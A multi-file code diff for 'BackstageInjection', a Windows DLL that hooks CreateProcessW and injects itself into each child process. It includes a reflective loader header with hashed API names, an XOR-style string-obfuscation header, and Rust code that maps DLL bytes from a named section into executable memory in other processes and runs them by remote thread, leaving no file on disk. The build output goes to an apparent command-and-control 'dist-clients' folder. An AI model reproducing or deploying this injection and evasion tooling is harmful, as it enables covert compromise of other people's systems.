// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
#include <windows.h>
#ifdef _MSC_VER
#include <intrin.h>
#else
// MinGW/GCC: _rotr lives in <stdlib.h>, __readgsqword in <intrin.h>
#include <stdlib.h>
#include <intrin.h>
#endif
#include "ReflectiveDLLInjection.h"
typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR);
typedef FARPROC(WINAPI* GETPROCADDRESS)(HMODULE, LPCSTR);
typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD);
typedef DWORD(NTAPI* NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG);
#define KERNEL32DLL_HASH 0x6A4ABC5B
#define NTDLLDLL_HASH 0x3CFA685D
#define LOADLIBRARYA_HASH 0xEC0E4E8E
#define GETPROCADDRESS_HASH 0x7C0DFCAA
#define VIRTUALALLOC_HASH 0x91AFCA54
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
#define IMAGE_REL_BASED_ARM_MOV32A 5
#define IMAGE_REL_BASED_ARM_MOV32T 7
#define ARM_MOV_MASK (DWORD)(0xFBF08000)
#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
#define ARM_MOVW 0xF2400000
#define ARM_MOVT 0xF2C00000
#define HASH_KEY 13
//===============================================================================================//
#ifdef _MSC_VER
#pragma intrinsic( _rotr )
#define RDI_INLINE __forceinline
#else
#define RDI_INLINE static inline __attribute__((always_inline))
#endif
RDI_INLINE DWORD ror(DWORD d)
{
return _rotr(d, HASH_KEY);
}
RDI_INLINE DWORD hash(char* c)
{
register DWORD h = 0;
do
{
h = ror(h);
h += *c;
} while (*++c);
return h;
}
//===============================================================================================//
typedef struct _UNICODE_STR
{
USHORT Length;
USHORT MaximumLength;
PWSTR pBuffer;
} UNICODE_STR, * PUNICODE_STR;
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
//__declspec( align(8) )
typedef struct _LDR_DATA_TABLE_ENTRY
{
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STR FullDllName;
UNICODE_STR BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
{
DWORD dwLength;
DWORD dwInitialized;
LPVOID lpSsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
{
struct _PEB_FREE_BLOCK* pNext;
DWORD dwSize;
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
// struct _PEB is defined in Winternl.h but it is incomplete
// WinDbg> dt -v ntdll!_PEB
typedef struct __PEB // 65 elements, 0x210 bytes
{
BYTE bInheritedAddressSpace;
BYTE bReadImageFileExecOptions;
BYTE bBeingDebugged;
BYTE bSpareBool;
LPVOID lpMutant;
LPVOID lpImageBaseAddress;
PPEB_LDR_DATA pLdr;
LPVOID lpProcessParameters;
LPVOID lpSubSystemData;
LPVOID lpProcessHeap;
PRTL_CRITICAL_SECTION pFastPebLock;
LPVOID lpFastPebLockRoutine;
LPVOID lpFastPebUnlockRoutine;
DWORD dwEnvironmentUpdateCount;
LPVOID lpKernelCallbackTable;
DWORD dwSystemReserved;
DWORD dwAtlThunkSListPtr32;
PPEB_FREE_BLOCK pFreeList;
DWORD dwTlsExpansionCounter;
LPVOID lpTlsBitmap;
DWORD dwTlsBitmapBits[2];
LPVOID lpReadOnlySharedMemoryBase;
LPVOID lpReadOnlySharedMemoryHeap;
LPVOID lpReadOnlyStaticServerData;
LPVOID lpAnsiCodePageData;
LPVOID lpOemCodePageData;
LPVOID lpUnicodeCaseTableData;
DWORD dwNumberOfProcessors;
DWORD dwNtGlobalFlag;
LARGE_INTEGER liCriticalSectionTimeout;
DWORD dwHeapSegmentReserve;
DWORD dwHeapSegmentCommit;
DWORD dwHeapDeCommitTotalFreeThreshold;
DWORD dwHeapDeCommitFreeBlockThreshold;
DWORD dwNumberOfHeaps;
DWORD dwMaximumNumberOfHeaps;
LPVOID lpProcessHeaps;
LPVOID lpGdiSharedHandleTable;
LPVOID lpProcessStarterHelper;
DWORD dwGdiDCAttributeList;
LPVOID lpLoaderLock;
DWORD dwOSMajorVersion;
DWORD dwOSMinorVersion;
WORD wOSBuildNumber;
WORD wOSCSDVersion;
DWORD dwOSPlatformId;
DWORD dwImageSubsystem;
DWORD dwImageSubsystemMajorVersion;
DWORD dwImageSubsystemMinorVersion;
DWORD dwImageProcessAffinityMask;
DWORD dwGdiHandleBuffer[34];
LPVOID lpPostProcessInitRoutine;
LPVOID lpTlsExpansionBitmap;
DWORD dwTlsExpansionBitmapBits[32];
DWORD dwSessionId;
ULARGE_INTEGER liAppCompatFlags;
ULARGE_INTEGER liAppCompatFlagsUser;
LPVOID lppShimData;
LPVOID lpAppCompatInfo;
UNICODE_STR usCSDVersion;
LPVOID lpActivationContextData;
LPVOID lpProcessAssemblyStorageMap;
LPVOID lpSystemDefaultActivationContextData;
LPVOID lpSystemAssemblyStorageMap;
DWORD dwMinimumStackCommit;
} _PEB, * _PPEB;
typedef struct
{
WORD offset : 12;
WORD type : 4;
} IMAGE_RELOC, * PIMAGE_RELOC;
//===============================================================================================//
#endif
//===============================================================================================//
@@ -0,0 +1,57 @@
#pragma once
#include <string.h>
#include <malloc.h>
#ifdef __cplusplus
extern "C" {
#endif
#define OBFS_KEY 16
#define _OBF_CHR(c) ((unsigned char)(c) + OBFS_KEY)
static inline char* obfs_dec(char* buf, int len)
{
for (int i = 0; i < len; i++)
buf[i] = (char)((unsigned char)buf[i] - OBFS_KEY);
return buf;
}
#ifdef _MSC_VER
#define OBFS(arr) \
obfs_dec((char*)memcpy((char*)_alloca(sizeof(arr)), (const char*)(arr), sizeof(arr)), \
(int)(sizeof(arr) - 1))
#else
#define OBFS(arr) \
obfs_dec((char*)memcpy((char[sizeof(arr)]){0}, (const char*)(arr), sizeof(arr)), \
(int)(sizeof(arr) - 1))
#endif
// ---- Encrypted string arrays ----
// Use _OBF_CHR() for each character so the compiler folds to constants.
static const unsigned char _enc_ReflectiveLoader[] = {
_OBF_CHR('R'),_OBF_CHR('e'),_OBF_CHR('f'),_OBF_CHR('l'),
_OBF_CHR('e'),_OBF_CHR('c'),_OBF_CHR('t'),_OBF_CHR('i'),
_OBF_CHR('v'),_OBF_CHR('e'),_OBF_CHR('L'),_OBF_CHR('o'),
_OBF_CHR('a'),_OBF_CHR('d'),_OBF_CHR('e'),_OBF_CHR('r'), 0
};
static const unsigned char _enc_ntdll_dll[] = {
_OBF_CHR('n'),_OBF_CHR('t'),_OBF_CHR('d'),_OBF_CHR('l'),
_OBF_CHR('l'),_OBF_CHR('.'),_OBF_CHR('d'),_OBF_CHR('l'),
_OBF_CHR('l'), 0
};
static const unsigned char _enc_RtlAddFunctionTable[] = {
_OBF_CHR('R'),_OBF_CHR('t'),_OBF_CHR('l'),_OBF_CHR('A'),
_OBF_CHR('d'),_OBF_CHR('d'),_OBF_CHR('F'),_OBF_CHR('u'),
_OBF_CHR('n'),_OBF_CHR('c'),_OBF_CHR('t'),_OBF_CHR('i'),
_OBF_CHR('o'),_OBF_CHR('n'),_OBF_CHR('T'),_OBF_CHR('a'),
_OBF_CHR('b'),_OBF_CHR('l'),_OBF_CHR('e'), 0
};
#ifdef __cplusplus
}
#endif
+24
View File
@@ -10,7 +10,12 @@ pub const STATUS_UNSUCCESSFUL: i32 = 0xC000_0001u32 as i32;
// ---- Memory allocation constants ---- // ---- Memory allocation constants ----
pub const MEM_COMMIT: u32 = 0x1000; pub const MEM_COMMIT: u32 = 0x1000;
pub const MEM_RESERVE: u32 = 0x2000; pub const MEM_RESERVE: u32 = 0x2000;
pub const MEM_RELEASE: u32 = 0x8000;
pub const PAGE_READWRITE: u32 = 0x04; pub const PAGE_READWRITE: u32 = 0x04;
pub const PAGE_EXECUTE_READWRITE: u32 = 0x40;
// ---- File mapping (RDI DLL section) constants ----
pub const FILE_MAP_READ: u32 = 0x0004;
// ---- CreateProcess flags ---- // ---- CreateProcess flags ----
pub const CREATE_SUSPENDED: u32 = 0x0000_0004; pub const CREATE_SUSPENDED: u32 = 0x0000_0004;
@@ -180,6 +185,25 @@ extern "system" {
flAllocationType: u32, flAllocationType: u32,
flProtect: u32, flProtect: u32,
) -> usize; ) -> usize;
pub fn VirtualFreeEx(
hProcess: usize,
lpAddress: usize,
dwSize: usize,
dwFreeType: u32,
) -> i32;
pub fn OpenFileMappingW(
dwDesiredAccess: u32,
bInheritHandle: i32,
lpName: *const u16,
) -> usize;
pub fn MapViewOfFile(
hFileMappingObject: usize,
dwDesiredAccess: u32,
dwFileOffsetHigh: u32,
dwFileOffsetLow: u32,
dwNumberOfBytesToMap: usize,
) -> usize;
pub fn UnmapViewOfFile(lpBaseAddress: usize) -> i32;
pub fn WriteProcessMemory( pub fn WriteProcessMemory(
hProcess: usize, hProcess: usize,
lpBaseAddress: usize, lpBaseAddress: usize,
+3 -1
View File
@@ -12,6 +12,8 @@ pub struct HookConfig {
const RDI_SEARCH_PATH: &str = "RDI_SEARCH_PATH"; const RDI_SEARCH_PATH: &str = "RDI_SEARCH_PATH";
const RDI_REPLACE_PATH: &str = "RDI_REPLACE_PATH"; const RDI_REPLACE_PATH: &str = "RDI_REPLACE_PATH";
pub const RDI_DLL_SECTION: &str = "RDI_DLL_SECTION";
pub const RDI_DLL_SIZE: &str = "RDI_DLL_SIZE";
pub fn load() -> HookConfig { pub fn load() -> HookConfig {
HookConfig { HookConfig {
@@ -20,7 +22,7 @@ pub fn load() -> HookConfig {
} }
} }
fn read_env(name: &str) -> Vec<u16> { pub fn read_env(name: &str) -> Vec<u16> {
let name = name.encode_utf16().chain(core::iter::once(0)).collect::<Vec<u16>>(); let name = name.encode_utf16().chain(core::iter::once(0)).collect::<Vec<u16>>();
let mut buf = [0u16; ENV_BUFFER_WCHARS as usize]; let mut buf = [0u16; ENV_BUFFER_WCHARS as usize];
unsafe { unsafe {
+20 -12
View File
@@ -376,19 +376,27 @@ pub extern "system" fn detour_create_process_w(
dbg_log!( dbg_log!(
"CreateProcessW child pid={child_pid} created but hooks NOT active — skipping injection" "CreateProcessW child pid={child_pid} created but hooks NOT active — skipping injection"
); );
} else if let Some(path) = inject::our_path() {
if !path.is_empty() {
let ok = unsafe { inject::inject_library((*lp_process_information).hProcess, path) };
dbg_log!(
"CreateProcessW child pid={child_pid} app='{}' inject={ok} suspended_forced={}",
display_cmd(lp_application_name, lp_command_line),
!was_suspended,
);
} else {
dbg_log!("CreateProcessW child pid={child_pid} injection skipped: our_path empty");
}
} else { } else {
dbg_log!("CreateProcessW child pid={child_pid} injection skipped: no dll path recorded"); let h_process = unsafe { (*lp_process_information).hProcess };
let injected = if let Some(bytes) = inject::dll_bytes() {
unsafe { inject::inject_reflective(h_process, bytes) }
} else if let Some(path) = inject::our_path() {
if path.is_empty() {
dbg_log!("CreateProcessW child pid={child_pid} injection skipped: our_path empty");
false
} else {
unsafe { inject::inject_library(h_process, path) }
}
} else {
dbg_log!("CreateProcessW child pid={child_pid} injection skipped: no dll bytes or path");
false
};
dbg_log!(
"CreateProcessW child pid={child_pid} app='{}' inject={injected} mode={} suspended_forced={}",
display_cmd(lp_application_name, lp_command_line),
if inject::dll_bytes().is_some() { "reflective" } else { "loadlibrary" },
!was_suspended,
);
} }
if !was_suspended { if !was_suspended {
unsafe { unsafe {
+301 -3
View File
@@ -1,7 +1,12 @@
//! Child-process injection from disk: LoadLibraryW via CreateRemoteThread. //! Child-process injection.
//! //!
//! The injected module path is exactly the path this DLL was loaded from, so a //! Two strategies mirror the C reference:
//! child inherits the same staged copy the agent placed on disk. //! - in-memory reflective injection (default): raw DLL bytes come from the
//! `RDI_DLL_SECTION` page-file-backed named section passed in the child's
//! environment block, and each child runs our exported `ReflectiveLoader`
//! on a remote thread — no file on disk;
//! - disk fallback: the module's own on-disk path is injected with
//! LoadLibraryW when no section bytes were provided.
use core::ffi::c_void; use core::ffi::c_void;
use std::ptr::null_mut; use std::ptr::null_mut;
@@ -11,6 +16,7 @@ use crate::abi::{self, GetModuleFileNameW};
use crate::dbg_log; use crate::dbg_log;
static OUR_PATH: OnceLock<Vec<u16>> = OnceLock::new(); static OUR_PATH: OnceLock<Vec<u16>> = OnceLock::new();
static DLL_BYTES: OnceLock<Vec<u8>> = OnceLock::new();
/// Record the on-disk path of this DLL (called from DllMain on attach). /// Record the on-disk path of this DLL (called from DllMain on attach).
pub fn set_our_path(h_instance: usize) { pub fn set_our_path(h_instance: usize) {
@@ -22,6 +28,16 @@ pub fn our_path() -> Option<&'static Vec<u16>> {
OUR_PATH.get() OUR_PATH.get()
} }
/// Record the raw DLL bytes for in-memory child injection.
pub fn set_dll_bytes(bytes: Vec<u8>) {
let _ = DLL_BYTES.set(bytes);
}
/// Raw DLL bytes loaded from the RDI_DLL_SECTION environment section, if any.
pub fn dll_bytes() -> Option<&'static Vec<u8>> {
DLL_BYTES.get()
}
fn dll_path_from_hinst(h_instance: usize) -> Vec<u16> { fn dll_path_from_hinst(h_instance: usize) -> Vec<u16> {
let mut buf = vec![0u16; 1024]; let mut buf = vec![0u16; 1024];
unsafe { unsafe {
@@ -31,6 +47,238 @@ fn dll_path_from_hinst(h_instance: usize) -> Vec<u16> {
buf buf
} }
/// Open the `RDI_DLL_SECTION`/`RDI_DLL_SIZE` environment section and copy the
/// DLL bytes out of it. Returns None (without touching the section) when the
/// parent did not provide it — the loadlibrary-mode disk fallback then applies.
pub unsafe fn load_dll_bytes_from_section() -> Option<Vec<u8>> {
let name = crate::config::read_env(crate::config::RDI_DLL_SECTION);
let size_raw = crate::config::read_env(crate::config::RDI_DLL_SIZE);
if name.is_empty() || size_raw.is_empty() {
dbg_log!("section: no RDI_DLL_SECTION/RDI_DLL_SIZE env — reflective child inject disabled");
return None;
}
let mut size: usize = 0;
for &c in &size_raw {
if !(0x30..=0x39).contains(&c) {
dbg_log!("section: RDI_DLL_SIZE not ASCII digits — reflective child inject disabled");
return None;
}
size = size.saturating_mul(10).saturating_add((c - 0x30) as usize);
}
if size == 0 {
dbg_log!("section: RDI_DLL_SIZE is 0 — reflective child inject disabled");
return None;
}
let mut name_null = name.clone();
name_null.push(0);
let handle = unsafe { abi::OpenFileMappingW(abi::FILE_MAP_READ, 0, name_null.as_ptr()) };
if handle == 0 {
dbg_log!("section: OpenFileMappingW failed for '{}'", crate::log::display_wide(&name));
return None;
}
let view = unsafe { abi::MapViewOfFile(handle, abi::FILE_MAP_READ, 0, 0, size) };
if view == 0 {
unsafe {
abi::CloseHandle(handle);
}
dbg_log!("section: MapViewOfFile failed (size={size})");
return None;
}
let bytes = unsafe { std::slice::from_raw_parts(view as *const u8, size) }.to_vec();
unsafe {
abi::UnmapViewOfFile(view);
abi::CloseHandle(handle);
}
dbg_log!("section: loaded {size} DLL bytes for reflective child inject");
Some(bytes)
}
/// Locate the file offset of the `ReflectiveLoader` export within a raw PE
/// image (raw memory offset == file offset because the bytes are copied 1:1).
/// Reads are bounds-checked so a truncated image never faults.
fn find_reflective_loader_offset(pe: &[u8]) -> Option<u32> {
if pe.len() < 64 || pe[0] != b'M' || pe[1] != b'Z' {
return None;
}
let lfanew = u32::from_le_bytes([pe[60], pe[61], pe[62], pe[63]]) as usize;
if lfanew + 4 > pe.len() {
return None;
}
if pe[lfanew..lfanew + 4] != [0x50, 0x45, 0x00, 0x00] {
return None;
}
let coff = lfanew + 4;
if coff + 20 > pe.len() {
return None;
}
let num_sections = u16::from_le_bytes([pe[coff + 2], pe[coff + 3]]);
let opt_size = u16::from_le_bytes([pe[coff + 16], pe[coff + 17]]) as usize;
let opt = coff + 20;
if opt + 2 > pe.len() {
return None;
}
let magic = u16::from_le_bytes([pe[opt], pe[opt + 1]]);
let dd_off = match magic {
0x20B => opt + 112, // PE32+ (x64)
0x10B => opt + 96, // PE32
_ => return None,
};
if dd_off + 40 > pe.len() {
return None;
}
let export_rva = u32::from_le_bytes([pe[dd_off], pe[dd_off + 1], pe[dd_off + 2], pe[dd_off + 3]]);
if export_rva == 0 {
return None;
}
let section_off = opt + opt_size;
let export_off = rva_to_file_offset(export_rva, pe, section_off, num_sections)? as usize;
if export_off + 40 > pe.len() {
return None;
}
let names_rva = u32::from_le_bytes(pe[export_off + 32..export_off + 36].try_into().ok()?);
let funcs_rva = u32::from_le_bytes(pe[export_off + 28..export_off + 32].try_into().ok()?);
let ordinals_rva = u32::from_le_bytes(pe[export_off + 36..export_off + 40].try_into().ok()?);
let num_names = u32::from_le_bytes(pe[export_off + 24..export_off + 28].try_into().ok()?);
let names_off = rva_to_file_offset(names_rva, pe, section_off, num_sections)? as usize;
let funcs_off = rva_to_file_offset(funcs_rva, pe, section_off, num_sections)? as usize;
let ordinals_off = rva_to_file_offset(ordinals_rva, pe, section_off, num_sections)? as usize;
let find_name = b"ReflectiveLoader";
for i in 0..num_names as usize {
let name_ent = names_off + i * 4;
if name_ent + 4 > pe.len() {
return None;
}
let name_rva = u32::from_le_bytes(pe[name_ent..name_ent + 4].try_into().ok()?);
let Some(name_fo) = rva_to_file_offset(name_rva, pe, section_off, num_sections) else {
continue;
};
let name_fo = name_fo as usize;
if name_fo + find_name.len() > pe.len() {
continue;
}
let name = &pe[name_fo..name_fo + find_name.len()];
if name != find_name || pe.get(name_fo + find_name.len()) != Some(&0) {
continue;
}
let ord_ent = ordinals_off + i * 2;
if ord_ent + 2 > pe.len() {
return None;
}
let ordinal = u16::from_le_bytes([pe[ord_ent], pe[ord_ent + 1]]) as usize;
let func_ent = funcs_off + ordinal * 4;
if func_ent + 4 > pe.len() {
return None;
}
let func_rva = u32::from_le_bytes(pe[func_ent..func_ent + 4].try_into().ok()?);
return rva_to_file_offset(func_rva, pe, section_off, num_sections);
}
None
}
fn rva_to_file_offset(rva: u32, pe: &[u8], section_off: usize, num_sections: u16) -> Option<u32> {
for i in 0..num_sections as usize {
let s = section_off + i * 40;
if s + 40 > pe.len() {
return None;
}
let virtual_addr = u32::from_le_bytes(pe[s + 12..s + 16].try_into().ok()?);
let raw_size = u32::from_le_bytes(pe[s + 16..s + 20].try_into().ok()?);
let raw_ptr = u32::from_le_bytes(pe[s + 20..s + 24].try_into().ok()?);
if rva >= virtual_addr && rva < virtual_addr.saturating_add(raw_size) {
return Some(rva.wrapping_sub(virtual_addr).wrapping_add(raw_ptr));
}
}
// Header data lives before the first section's raw pointer.
if num_sections > 0 {
let s = section_off;
if s + 24 <= pe.len() {
let first_raw_ptr = u32::from_le_bytes(pe[s + 20..s + 24].try_into().ok()?);
if rva < first_raw_ptr {
return Some(rva);
}
}
}
None
}
/// Inject raw DLL bytes into `process` by copying them at their natural file
/// offsets and running our exported `ReflectiveLoader` on a remote thread.
/// Returns false on any failure; callers treat failure as fail-open.
pub unsafe fn inject_reflective(process: usize, bytes: &[u8]) -> bool {
let Some(loader_offset) = find_reflective_loader_offset(bytes) else {
dbg_log!("inject-reflective: ReflectiveLoader export not found in DLL bytes");
return false;
};
dbg_log!("inject-reflective: loader offset=0x{loader_offset:x} size={}", bytes.len());
let base = unsafe {
abi::VirtualAllocEx(
process,
0,
bytes.len(),
abi::MEM_COMMIT | abi::MEM_RESERVE,
abi::PAGE_EXECUTE_READWRITE,
)
};
if base == 0 {
dbg_log!("inject-reflective: VirtualAllocEx failed");
return false;
}
let mut written = 0usize;
let ok = unsafe {
abi::WriteProcessMemory(
process,
base,
bytes.as_ptr() as *const c_void,
bytes.len(),
&mut written,
)
};
if ok == 0 || written != bytes.len() {
dbg_log!("inject-reflective: WriteProcessMemory failed (ok={ok} written={written})");
unsafe {
abi::VirtualFreeEx(process, base, 0, abi::MEM_RELEASE);
}
return false;
}
let mut thread_id = 0u32;
let h_thread = unsafe {
abi::CreateRemoteThread(
process,
null_mut(),
1024 * 1024,
base + loader_offset as usize,
0,
0,
&mut thread_id,
)
};
if h_thread == 0 {
dbg_log!("inject-reflective: CreateRemoteThread failed");
return false;
}
let wait = unsafe { abi::WaitForSingleObject(h_thread, 30000) };
unsafe {
abi::CloseHandle(h_thread);
}
let ok = wait == abi::WAIT_OBJECT_0;
dbg_log!("inject-reflective: remote thread wait=0x{wait:08X} thread_id={thread_id} -> {ok}");
ok
}
/// Inject `path` into `process` by writing the path into the target and running /// Inject `path` into `process` by writing the path into the target and running
/// LoadLibraryW on a remote thread. Returns false on any failure; callers treat /// LoadLibraryW on a remote thread. Returns false on any failure; callers treat
/// failure as fail-open (the child still runs, just without hooks). /// failure as fail-open (the child still runs, just without hooks).
@@ -110,4 +358,54 @@ pub unsafe fn inject_library(process: usize, path: &[u16]) -> bool {
"inject: remote thread wait=0x{wait:08X} thread_id={thread_id} -> {ok}" "inject: remote thread wait=0x{wait:08X} thread_id={thread_id} -> {ok}"
); );
ok ok
}
#[cfg(test)]
mod tests {
use super::*;
/// Locate the built DLL so the export resolver can be exercised against the
/// real artifact (wherever the tests run from one of the release outputs).
fn built_dll_bytes() -> Option<Vec<u8>> {
let root = std::env::var_os("CARGO_MANIFEST_DIR")?;
for path in [
"target/x86_64-pc-windows-msvc/release/BackstageInjection.dll",
"target/x86_64-pc-windows-gnu/release/BackstageInjection.dll",
"target/release/BackstageInjection.dll",
] {
let p = std::path::Path::new(&root).join(path);
if let Ok(bytes) = std::fs::read(&p) {
return Some(bytes);
}
}
None
}
#[test]
fn find_loader_rejects_truncated_input_without_panicking() {
for len in [0usize, 1, 63, 64, 65, 100, 1000] {
let mut bytes = vec![0u8; len];
if len >= 2 {
bytes[0] = b'M';
bytes[1] = b'Z';
}
assert_eq!(find_reflective_loader_offset(&bytes), None, "len={len}");
}
}
#[test]
fn find_loader_rejects_garbage_pe() {
assert_eq!(find_reflective_loader_offset(b"RIFF this is not a pe file at all"), None);
}
#[test]
fn find_loader_finds_export_in_real_dll() {
let Some(dll) = built_dll_bytes() else {
eprintln!("skipping: built DLL not found (run cargo build first)");
return;
};
let offset = find_reflective_loader_offset(&dll).expect("ReflectiveLoader export in built DLL");
assert!(offset > 0, "loader offset must be inside the image");
assert!((offset as usize) < dll.len());
}
} }
+14 -3
View File
@@ -2,10 +2,16 @@
//! //!
//! On DLL_PROCESS_ATTACH the DLL: //! On DLL_PROCESS_ATTACH the DLL:
//! - reads the RDI_SEARCH_PATH / RDI_REPLACE_PATH environment configuration; //! - reads the RDI_SEARCH_PATH / RDI_REPLACE_PATH environment configuration;
//! - opens the RDI_DLL_SECTION / RDI_DLL_SIZE page-file section passed by the
//! agent so child processes can be injected in-memory (reflective path);
//! - installs MinHook trampolines over ntdll path-resolution APIs and //! - installs MinHook trampolines over ntdll path-resolution APIs and
//! kernel32!CreateProcessW; //! kernel32!CreateProcessW;
//! - on CreateProcessW success for a child, injects this same DLL from its //! - on CreateProcessW success for a child, reflectively injects this DLL
//! on-disk path via LoadLibraryW. //! from the shared-section bytes, or falls back to Injecting the module's
//! own on-disk path via LoadLibraryW when no section is present.
//!
//! The cdylib also exports `ReflectiveLoader` (compiled from the vendored C
//! loader in reflective/) so the initial injection itself can be reflective.
//! //!
//! On DLL_PROCESS_DETACH all hooks are disabled best-effort. //! On DLL_PROCESS_DETACH all hooks are disabled best-effort.
@@ -37,11 +43,16 @@ pub extern "system" fn DllMain(
} }
log::init_from_env(); log::init_from_env();
let cfg = config::load(); let cfg = config::load();
if let Some(bytes) = unsafe { inject::load_dll_bytes_from_section() } {
inject::set_dll_bytes(bytes);
}
dbg_log!( dbg_log!(
"DllMain attach pid={} search={} replace={}", "DllMain attach pid={} search={} replace={} have_section_bytes={} our_path='{}'",
unsafe { abi::GetCurrentProcessId() }, unsafe { abi::GetCurrentProcessId() },
crate::log::display_wide(&cfg.search), crate::log::display_wide(&cfg.search),
crate::log::display_wide(&cfg.replace), crate::log::display_wide(&cfg.replace),
inject::dll_bytes().is_some(),
crate::log::display_wide(inject::our_path().unwrap_or(&Vec::new())),
); );
let _ = std::panic::catch_unwind(std::panic::AssertUnwindSafe(|| { let _ = std::panic::catch_unwind(std::panic::AssertUnwindSafe(|| {
hooks::install(cfg); hooks::install(cfg);
+7 -4
View File
@@ -1,14 +1,17 @@
@echo off @echo off
setlocal EnableDelayedExpansion setlocal EnableDelayedExpansion
REM Build the BackstageInjection DLL for Windows x64 using cargo (MSVC target). REM Build the BackstageInjection DLL for Windows x64 using cargo (GNU target).
REM Requires a Rust toolchain with the x86_64-pc-windows-msvc target and MSVC REM The GNU toolchain is required: the reflective loader manually maps the image
REM build tools (auto-detected by the cc crate via vswhere). REM without the MSVC CRT bootstrapping, and the MSVC CRT's TLS/CFG machinery
REM fast-fails (0xC0000409) under a manual map. See
REM BackstageInjection-Rust/build.rs and protocol/README.md. Requires the
REM x86_64-pc-windows-gnu target and a mingw-w64 gcc for the cc crate.
set "SCRIPT_DIR=%~dp0" set "SCRIPT_DIR=%~dp0"
for %%I in ("%SCRIPT_DIR%..") do set "ROOT=%%~fI\" for %%I in ("%SCRIPT_DIR%..") do set "ROOT=%%~fI\"
set "CRATE_DIR=%ROOT%BackstageInjection-Rust" set "CRATE_DIR=%ROOT%BackstageInjection-Rust"
set "OUT_DIR=%ROOT%Overlord-Server\dist-clients" set "OUT_DIR=%ROOT%Overlord-Server\dist-clients"
set "TARGET=x86_64-pc-windows-msvc" set "TARGET=x86_64-pc-windows-gnu"
set "DLL_NAME=BackstageInjection.x64.dll" set "DLL_NAME=BackstageInjection.x64.dll"
where cargo >nul 2>&1 where cargo >nul 2>&1